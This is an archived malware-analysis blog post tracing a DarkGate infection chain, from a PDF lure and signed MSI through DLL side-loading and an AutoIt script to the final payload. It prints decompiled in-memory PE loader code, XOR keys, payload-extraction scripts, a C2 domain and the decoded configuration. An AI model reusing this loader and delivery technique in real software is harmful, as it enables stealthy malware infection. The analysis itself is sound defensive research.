[QuickNote] DarkGate – Make AutoIt Great Again Published: 2024-06-06 · Archived: 2026-04-10 03:08:46 UTC 1 Votes 1. Context In the first quarter of 2024, @AvastThreatLabs observed a DarkGate campaign distributed via malicious PDF files: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 1 of 28 The technique of using PDF files to lure users into downloading and executing files containing malware is not new. I have previously discussed this technique in my presentation titled Unveiling Qakbot: Exploring one of the Most Active Threat Actors at the Security Bootcamp 2023 (SBC2023) conference. We can search for more https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 2 of 28 information about the domain selectwendormo9tres[.]com on VirusTotal reveal that multiple samples are used to access this domain for downloading files. However, the domain is currently being used as a sinkhole, which helps users avoid downloading malicious content. Sinkholes are a valuable defense mechanism in cybersecurity. They redirect malicious traffic to a controlled server, preventing it from reaching its intended malicious destination. Therefore, in this article, I will utilize the IOCs released by @AvastThreatLabs to conduct a thorough analysis: 1. case_-2023_4824647818.pdf 2. build-x64.msi 2. Execution Flow Summary Here’s the high-level illustration of the malware execution flow: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 3 of 28 3. Technical Analysis 3.1. Analyze PDF file The PDF file is quite small in size: Normal users, when opening this file, will be prompted to click the “ Open ” button, which will then lead them to the following link to download a malicious file: hxxps[:]//adclick[.]g.doubleclick[.]net//pcs/click? f1587wub8-24-TzRtAOnedriveBskd&&adurl=//selectwendormo9tres[.]com? utm_content=AAhqplxaJo&session_id=3VHLBRuVfwDKTPWgylgR&id=b2WBu&filter=FSBMsIgzmQ-pIvZl&lang=zh&locale=US Similar to the February_-2024_3398702636.pdf file, this file will lure users to access the following link: hxxps[:]//adclick[.]g.doubleclick[.]net//pcs/click?f6879wbk1-2024- CnPlUOnedriveFrkd&&adurl=//selectwendormo9tres[.]com? utm_content=orHchiCJYv&session_id=QLuKkySnvaDSwwY9mSwT&id=Uwgtv&filter=PBeVeNVqPB-dEdGa&lang=es&locale=DE https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 4 of 28 Quick comparison of the links above: According to @AvastThreatLabs, these links will download an MSI file named “ build-x64.msi “. If users trust and execute this MSI file, it will infect their system with the DarkGate malware. 3.2. Analyze MSI file The structure of the build-x64.msi file is as follows: It uses a valid digital signature: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 5 of 28 [+] Included certificates: - Subject: CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE Issuer: CN=GlobalSign Code Signing Root R45, O=GlobalSign nv-sa, C=BE Serial: 159159760011286741492753271723304908269 Valid from: 2020-07-28 00:00:00+00:00 Valid to: 2030-07-28 00:00:00+00:00 - Subject: CN=Inoellact EloubantTech Optimization Information Co.\, Ltd., O=Inoellact EloubantTech Optimization Information Co.\, Ltd., STREET=Room 502\, No.22\, Jiangbu Road\, Dali Town\, Nanhai District, L=Foshan, ST=Guangdong, C=CN, 1.3.6.1.4.1.311.60.2.1.1=Foshan, 1.3.6.1.4.1.311.60.2.1.2=Guangdong, 1.3.6.1.4.1.311.60.2.1.3=CN, 2.5.4.5=91440605MACRJLFMXL, 2.5.4.15=Private Organization Issuer: CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE Serial: 3383085930441128603247187467 Valid from: 2024-01-26 09:28:10+00:00 Valid to: 2025-01-26 09:28:10+00:00 [+] Signer: Issuer: CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE Serial: 3383085930441128603247187467 Program name: None More info: None [+] Countersigner (nested RFC3161): Issuer: CN=GlobalSign Timestamping CA - SHA384 - G4, O=GlobalSign nv-sa, C=BE Serial: 2256292952261721351877727342917337962 Signing time: 2024-02-12 15:54:27+00:00 Included certificates: - Subject: CN=Globalsign TSA for CodeSign1 - R6, O=GlobalSign nv-sa, C=BE Issuer: CN=GlobalSign Timestamping CA - SHA384 - G4, O=GlobalSign nv-sa, C=BE Serial: 2256292952261721351877727342917337962 Valid from: 2022-04-06 07:45:38+00:00 Valid to: 2033-05-08 07:45:38+00:00 - Subject: CN=GlobalSign Timestamping CA - SHA384 - G4, O=GlobalSign nv-sa, C=BE Issuer: CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R6 Serial: 152301165417217153014605563764 Valid from: 2018-06-20 00:00:00+00:00 Valid to: 2034-12-10 00:00:00+00:00 - Subject: CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R6 Issuer: CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R6 Serial: 1417766617973444989252670301619537 Valid from: 2014-12-10 00:00:00+00:00 Valid to: 2034-12-10 00:00:00+00:00 https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 6 of 28 [+] Digest algorithm: openssl_sha256 [+] Digest: 69d4769c1244a1dbd1222c91f7efd4d39bc3b46edb5c9a53061cee3843e33932 Further examination using the Orca tool reveals that the CustomAction section executes the bz.CustomActionDll file: The Property section has property field related to iTunesHelper.exe file: 3.3. Analyze bz.CustomActionDll file A quick review of the bz.CustomActionDll code reveals that it will interact with the iTunesHelper.exe file located in the bz.WrappedSetupProgram cab file: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 7 of 28 3.4. Analyze iTunesHelper.exe file The iTunesHelper.exe file is a genuine Apple file, with its Pdb path is: D:\BWA\6B22E293-2BF5-0\iTunesWin-1200.12.12.9.4\srcroot\iTunes\iPodSupport\(Win32)\BuildResults\Production64\bin\iTunesHelper.pdb . Examining the Import Directory of this file reveals that it loads a DLL file called CoreFoundation.dll . The CoreFoundation.dll file is included within the bz.WrappedSetupProgram cab file. This indicates that the attacker employed the Dll Side Loading techniques to load a DLL file containing code responsible for executing the task of malware propagation. 3.5. Analyze CoreFoundation.dll file This is a 64-bit DLL without a digital signature: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 8 of 28 It has the following information: FileDescription: Project1 FileVersion: 1.0.0.0 ProgramID: com.embarcadero.Project1 ProductName: Project1 ProductVersion: 1.0.0.0 Loading this DLL file into IDA, the CFAbsoluteTimeAddGregorianUnits() function is called from DllEntryPoint . The function’s task is to read encrypted data stored in the sqlite3.dll file into a buffer, decrypt it using XOR with the decryption key “ VzXLKSZE ”, and finally execute the decrypted payload: The sqlite3.dll file before and after the decryption process: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 9 of 28 The decrypted file ( sqlite3_xored_VzXLKSZE.dll ) contains a PE file with SizeOfImage = 0x4E000 . 3.6. Analyze sqlite3_xored_VzXLKSZE.dll file The file has a header of “ MZER ”, enabling it to execute as a shellcode. This shellcode maps the file into memory and then calls the OEP address of the file to execute the main code. Its code first reads the contents of the original “ sqlite3.dll ” file into the memory: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 10 of 28 Next, it performs a search for the string “ delimitador ” and use it to separate the data sections corresponding to the files. Then, decrypt Autoit3.exe file using the same decryption key as above, which is “ VzXLKSZE ”. Check if the directory c:\temp exists, if it does not exist, create it and drop the following files into it: Autoit3.exe, script.a3x, test.txt . Finally, use the CreateProcessA API to execute Autoit3.exe for loading AutoIt script is script.a3x . The script will take the file test.txt as a parameter. 3.7. Extract and analyze AutoIt script Based on the analysis above, the compiled script’s content can be extracted from 0x1288BE to 0x19F01E (size: 0x76760 bytes): https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 11 of 28 By leveraging the AutoIt Extractor tool, we can effortlessly extract the original script: Analyzing the script, it uses the FileRead function to read the contents from the test.txt file. Then, it employs StringSplit function on the retrieved string to generate an array of characters. Based on this character array stored in the $a variable, corresponding strings are constructed. The contents of the test.txt file is as follows: However, since the script is 4557 lines long, manual replacement is not feasible. An automated script needs to be written to perform this de-obfuscation task and restore the corresponding strings. To achieve this, I utilize two regular expressions as follows: r"\$a\[0x[0-9a-fA-F]{1,2}].*" : This regex extracts the entire encoded string after variable $bzxrgjfo = https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 12 of 28 r"0x[0-9a-fA-F]{1,2}" : This regex extracts all hexadecimal codes within the string. The entire Python code I wrote to recover the script is as follows: from argparse import ArgumentParser import sys import re # Regular expression pattern to match encoded string pattern_1 = r"\$a\[0x[0-9a-fA-F]{1,2}].*" # Regular expression pattern to match hex codes pattern_2 = r"0x[0-9a-fA-F]{1,2}" # Define a dictionary to map num to characters char_map = {0: '(', 1: 'n', 2: 'q', 3: ']', 4: 'N', 5: '*', 6: '0', 7: 'C', 8: 'V', 9: '3', 10: '&', 11: 'R', 12: 'e', 13: 'M', 14: 'O', 15: 't', 16: 'J', 17: '}', 18: 'U', 19: 'a', 20: 'D' 21: '{', 22: 'W', 23: ' ', 24: 'Z', 25: 'x', 26: 'b', 27: '8', 28: 'u', 29: 'l', 30: 'd' 31: 'Y', 32: '"', 33: 'S', 34: 'K', 35: '2', 36: 'T', 37: '1', 38: 'r', 39: 's', 40: 'p' 41: 'j', 42: '$', 43: 'o', 44: 'I', 45: 'F', 46: 'f', 47: 'G', 48: 'B', 49: '=', 50: 'Q' 51: 'L', 52: '6', 53: '5', 54: '.', 55: 'H', 56: 'c', 57: 'i', 58: '9', 59: 'w', 60: 'z' 61: ')', 62: 'E', 63: 'm', 64: '4', 65: 'g', 66: 'h', 67: 'A', 68: 'y', 69: ',', 70: 'k' 71: '7', 72: '[', 73: 'X', 74: 'v', 75: 'P'} def mapping_char(listCharCode): message = "" for num in listCharCode: message += char_map.get(num) # return the final message return message https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 13 of 28 def extract_index_from_str(text): # Find all matches of the regex pattern matches = re.findall(pattern_2, text) # Convert hex codes to integers idxArr = [int(hex_code, 16) for hex_code in matches] return idxArr def main(): parser = ArgumentParser(description="Deobfuscating DarkGate AutoIt script!!") parser.add_argument("-i", "--input_file", dest='input_file', metavar='INPUT_FILE', type=str, requ parser.add_argument("-o", "--output_file", dest='output_file', metavar='OUTPUT_FILE', type=str, args = parser.parse_args() try: fin = open(args.input_file, "r") except IOError as e: print("Could not open file %s - %s" % (args.input_file, e)) return 1 in_lines = fin.readlines() fin.close() out_lines = [] for line in in_lines: matched_str = re.search(pattern_1, line) if matched_str: strEncoded = matched_str.group(0) idxArray = extract_index_from_str(strEncoded) strDecoded = mapping_char(idxArray) line = line.replace(strEncoded,strDecoded) out_lines.append(line) if out_lines: try: fout = open(args.output_file, "w+") except IOError as e: print("Coult not write to file %s - %s" % (args.output_file, e)) fout = sys.stdout for line in out_lines: fout.write(line) fout.close() https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 14 of 28 print("Deobfuscating done :)") return 0 # 0 = EXIT_SUCESS return 1 # 1 is EXIT_FAILURE if __name__ == "__main__": sys.exit(main()) Here is the final result: As a result, the variable $bzxrGJFo will store the shellcode, which is 45,988 bytes in size. The script copies this shellcode to the variable $pt , and utilizes the EnumWindows function to execute it. 3.8. Extract and analyze DarkGate shellcode loader For extracting the shellcode content from the above script, I used the following regex: “\$bzxrgjfo.+= (.+)” https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 15 of 28 Utilizing CyberChef, the shellcode was successfully dumped as follows: recipe=Regular_expression('User%20defined','%5C%5C$bzxrgjfo.%2B%3D%20(.%2B)',true,true,false,false,fa This shellcode will perform the task of loading and executing a PE file in memory: This shellcode’s complete loader code is as follows: unsigned int __stdcall drg_shellcode_loader(PE_BASE arg_dgDelphiLoaderBaseAddr) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 16 of 28 if ( !drg_resolve_LoadLibraryA_GetProcAddress(&mw_resolved_api) ) { return -1u; } if ( arg_dgDelphiLoaderBaseAddr.dos_hdr->e_magic != IMAGE_DOS_SIGNATURE ) { return -2u; } pNtHeaders = (arg_dgDelphiLoaderBaseAddr.baseAddress + arg_dgDelphiLoaderBaseAddr.dos_hdr->e_lfanew if ( pNtHeaders->Signature != IMAGE_NT_SIGNATURE ) { return -2u; } v3 = arg_dgDelphiLoaderBaseAddr.dos_hdr->e_res[2]; switch ( v3 ) { case 2: return 0x4DF; case 3: if ( (pNtHeaders->FileHeader.Characteristics & IMAGE_FILE_DLL) == 0 ) { return 0x4DF; } result = ((arg_dgDelphiLoaderBaseAddr.baseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPo arg_dgDelphiLoaderBaseAddr.baseAddress, 0, 0); if ( result ) { LOBYTE(arg_dgDelphiLoaderBaseAddr.dos_hdr->e_res[2]) = 2; } return result; case 0: if ( !pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress { return -3u; } if ( !drg_perform_base_relocate( &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddre arg_dgDelphiLoaderBaseAddr, pNtHeaders->OptionalHeader.ImageBase) ) { return -4u; } if ( pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress && !drg_build_import_table( mw_resolved_api.LoadLibraryA, https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 17 of 28 mw_resolved_api.GetProcAddress, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_FILE_IMPORT_DIRECTORY].VirtualAddress, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_FILE_IMPORT_DIRECTORY].Size, arg_dgDelphiLoaderBaseAddr) ) { return -5u; } if ( pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress ) { drg_exec_tls_callbacks( &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS], arg_dgDelphiLoaderBaseAddr); } break; } LOBYTE(arg_dgDelphiLoaderBaseAddr.dos_hdr->e_res[2]) = 1; mw_EntryPointAddr = (arg_dgDelphiLoaderBaseAddr.baseAddress + pNtHeaders->OptionalHeader.AddressOfE LOBYTE(arg_dgDelphiLoaderBaseAddr.dos_hdr->e_res[2]) = 2; if ( (pNtHeaders->FileHeader.Characteristics & IMAGE_FILE_DLL) == 0 ) { return mw_EntryPointAddr(); } result = (mw_EntryPointAddr)(arg_dgDelphiLoaderBaseAddr.baseAddress, 1, 0); if ( result ) { LOBYTE(arg_dgDelphiLoaderBaseAddr.dos_hdr->e_res[2]) = 3; } return result; } 3.9. Analyze DarkGate Delphi loader As analyzed above, the shellcode loader’s function is to load and execute a PE file in memory. For easier analysis, let’s extract this PE. This PE is coded in Delphi: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 18 of 28 The primary function of this loader is to decrypt the final payload, which is the DarkGate payload, from the AutoIt script, map it into memory, and execute it. To accomplish this task, it first assigns “ VzXLKSZE ” to the global variable. This string is then used as a marker to retrieve the encrypted final payload and is subsequently modified for use as an XOR key for decrypting the final payload. Next, it reads the contents of the AutoIt script is script.a3x into a buffer. Next, utilizing the aforementioned marker string, extract the encrypted payload from the data of the AutoIt script, decrypt the DarkGate payload, and execute the decrypted payload. https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 19 of 28 The decryption process of the DarkGate payload is carried out through the drg_xor_crypt function. In this function, the initial string ” VzXLKSZE ” is converted into a new string using the drg_xor_key_modify function. Rewrite the above pseudo-code in Python as follows: # modify marker l = len(marker) mod_key = '' for c in marker: k = c ^ l l -= 1 mod_key += chr(k) After obtaining the new key, use this key to decrypt the DarkGate payload: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 20 of 28 The above pseudo-code is rewritten as a function as follows: def xor_crypt(enc_data, key): dec_bytes = list() idx = 0 key_len = len(key) for i in range(len(enc_data)): dec_bytes.append(((enc_data[i] ^ ord(key[idx]))) & 0xFF) idx = (idx + ord(key[idx])) % key_len if idx == 0: idx = key_len -1 dec_data = ''.join(chr(c) for c in dec_bytes).encode('latin-1') return dec_data After decoding the DarkGate payload, the loader calls the function drg_mapping_and_exec_final_payload to execute this payload directly from memory. The entire code of the drg_mapping_and_exec_final_payload function is as follows: void __fastcall drg_mapping_and_exec_final_payload(char *arg_pFinalPayload) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] drg_perform_refCnt(arg_pFinalPayload); v10[2] = &savedregs; v10[1] = System::_16747; v10[0] = NtCurrentTeb()->NtTib.ExceptionList; https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 21 of 28 __writefsdword(0, v10); pFinalPayload = drg_get_pointer_to_buffer(&arg_pFinalPayload); // copy dos header qmemcpy(&pPayloadDosHdr, pFinalPayload, sizeof(pPayloadDosHdr)); // copy nt headers qmemcpy(&pPayloadNtHdr, &pFinalPayload[pPayloadDosHdr.e_lfanew], sizeof(pPayloadNtHdr)); dwPayloadSize = System::__linkproc__ DynArrayLength(arg_pFinalPayload); pMappedPayload = VirtualAlloc(0, 8 * dwPayloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // copy section data dwNumberOfSections = pPayloadNtHdr.FileHeader.NumberOfSections; dwCount = 0; while ( 1 ) { qmemcpy( &pPayloadSectionHdr, &pFinalPayload[0x28 * dwCount + 0xF8 + pPayloadDosHdr.e_lfanew], sizeof(pPayloadSectionHdr)); if ( pPayloadSectionHdr.SizeOfRawData ) { drg_qmemcpy_wrap( &pMappedPayload[pPayloadSectionHdr.VirtualAddress], &pFinalPayload[pPayloadSectionHdr.PointerToRawData], pPayloadSectionHdr.SizeOfRawData); } ++dwCount; // build import table if ( !--dwNumberOfSections ) { for ( import_desc = &pMappedPayload[pPayloadNtHdr.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ ; ++import_desc ) { dwNameRva = import_desc->Name; if ( !dwNameRva ) { break; } dll_handle = LoadLibraryA(&pMappedPayload[dwNameRva]); if ( dll_handle != INVALID_HANDLE_VALUE ) { if ( import_desc->anonymous_0.OriginalFirstThunk ) { thunkRef = &pMappedPayload[import_desc->anonymous_0.OriginalFirstThunk]; https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 22 of 28 } else { thunkRef = &pMappedPayload[import_desc->FirstThunk]; } for ( funcRef = &pMappedPayload[import_desc->FirstThunk]; ; ++funcRef ) { thunkData = *thunkRef; if ( !*thunkRef ) { break; } if ( thunkData >= 0 ) { apiAddr = GetProcAddress(dll_handle, &thunkData->Name[pMappedPayload]); } else { apiAddr = GetProcAddress(dll_handle, *thunkRef); } *funcRef = apiAddr; ++thunkRef; } } } // perform base relocation pBase = &pMappedPayload[pPayloadNtHdr.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERE for ( relocation = &pMappedPayload[pPayloadNtHdr.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_E relocation - pBase < pPayloadNtHdr.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BAS relocation = (relocation + relocation->SizeOfBlock) ) { v11 = relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION; dwRelocationCount = System::__linkproc__ TRUNC(v11 / 2.0); v15 = relocation + 1; do { if ( LOWORD(v15->VirtualAddress) >> 0xC == IMAGE_REL_BASED_HIGHLOW ) { relocEntry = &pMappedPayload[relocation->VirtualAddress + (v15->VirtualAddress & 0xFFF)] *relocEntry += &pMappedPayload[-pPayloadNtHdr.OptionalHeader.ImageBase]; } v15 = (v15 + 2); --dwRelocationCount; } while ( dwRelocationCount ); } https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 23 of 28 // Execute final DarkGate payload __asm { jmp eax } } } } Based on everything analyzed above, we can completely rewrite the script to extract DarkGate payload from AutoIt script as follows: from argparse import ArgumentParser def xor_crypt(enc_data, key): dec_bytes = list() idx = 0 key_len = len(key) for i in range(len(enc_data)): dec_bytes.append(((enc_data[i] ^ ord(key[idx]))) & 0xFF) idx = (idx + ord(key[idx])) % key_len if idx == 0: idx = key_len -1 dec_data = ''.join(chr(c) for c in dec_bytes).encode('latin-1') return dec_data def get_payload(enc_file, marker_file, out_file): marker = open(marker_file, 'rb').read() enc_data = open(enc_file, 'rb').read() # modify marker l = len(marker) mod_key = '' for c in marker: k = c ^ l l -= 1 mod_key += chr(k) blobs = enc_data.split(marker) darkgate_enc_final_payload = blobs[1] darkgate_payload = xor_crypt(darkgate_enc_final_payload, mod_key) open(out_file, 'wb').write(darkgate_payload) print("\nSaved to {}".format(out_file)) def main(): # Add arguments https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 24 of 28 parser = ArgumentParser(description="Get final DarkGate payload!") parser.add_argument("-i", "--input_file", dest='input_file', metavar='INPUT_FILE', type=str, requ parser.add_argument("-m", "--marker_file", dest='marker_file', metavar='MARKER_FILE', type=str, parser.add_argument("-o", "--output_file", dest='output_file', metavar='OUTPUT_FILE', type=str, # Parse arguments args = parser.parse_args() get_payload(args.input_file, args.marker_file, args.output_file) if __name__ == "__main__": main() Here is the final result: 3.10. Analyze DarkGate payload I will not go into detailed analysis of the DarkGate payload but rather focus on extracting the configuration it uses. The payload I am analyzing is version 6.1.9 of DarkGate: From the main function, it will call the drg_decode_configuration (0x0042FB0C) to perform configuration decoding. In this function, it reads the encrypted config stored at address 0045E524 in section .DATA and calls the function drg_decrypt_config (0x00432534) to perform the main decryption task with the initial key “ ckcilIcconnh “: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 25 of 28 Similar to the analysis with the loader, before performing decryption, the initial key will be changed using the drg_xor_key_modify (0x004324E4) : Then, use the modified key above to perform configuration decryption: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 26 of 28 Thus, based on the code written for loader analysis, we can use it to decode the configuration of this campaign as follows: Based on this configuration information, along with payload analysis, we can describe as follows: 0=prodomainnameeforappru.com| //c2 domain 8=No // show_fake_error 11=DarkGate //Fake error message caption 12=R0ijS0qCVITtS0e6xeZ //Fake error message. Custom Base64-encoded -> "Hello world!" (charsets: "zLAx 13=6 14=Yes 15=443 //c2 port number 1=Yes //setup persistence 3=Yes //anti_vm based on display devices 4=Yes //check_disk 18=50 //min_disk 6=Yes //anti_vm based on display devices 7=No //check_ram 19=7000 //min_ram 5=Yes //check_xeon 21=No 22=Yes 23=No 25=admin888 //campaign ID 26=No // perform process injection using Process Hollowing technique 27=VzXLKSZE //xor_key or marker 28=No 29=1 tabla=(nq]N*0CV3&ReMOtJ}UaD{W Zxb8uldY"SK2T1rspj$oIFfGB=QL65.Hci9wz)Em4ghAy,k7[XvP //test.txt data to 4. Refs https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 27 of 28 Tips For Analyzing Delphi Binaries in IDA (Danabot) Malpedia DarkGate My script Source: https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ https://kienmanowar.wordpress.com/2024/06/06/quicknote-darkgate-make-autoit-great-again/ Page 28 of 28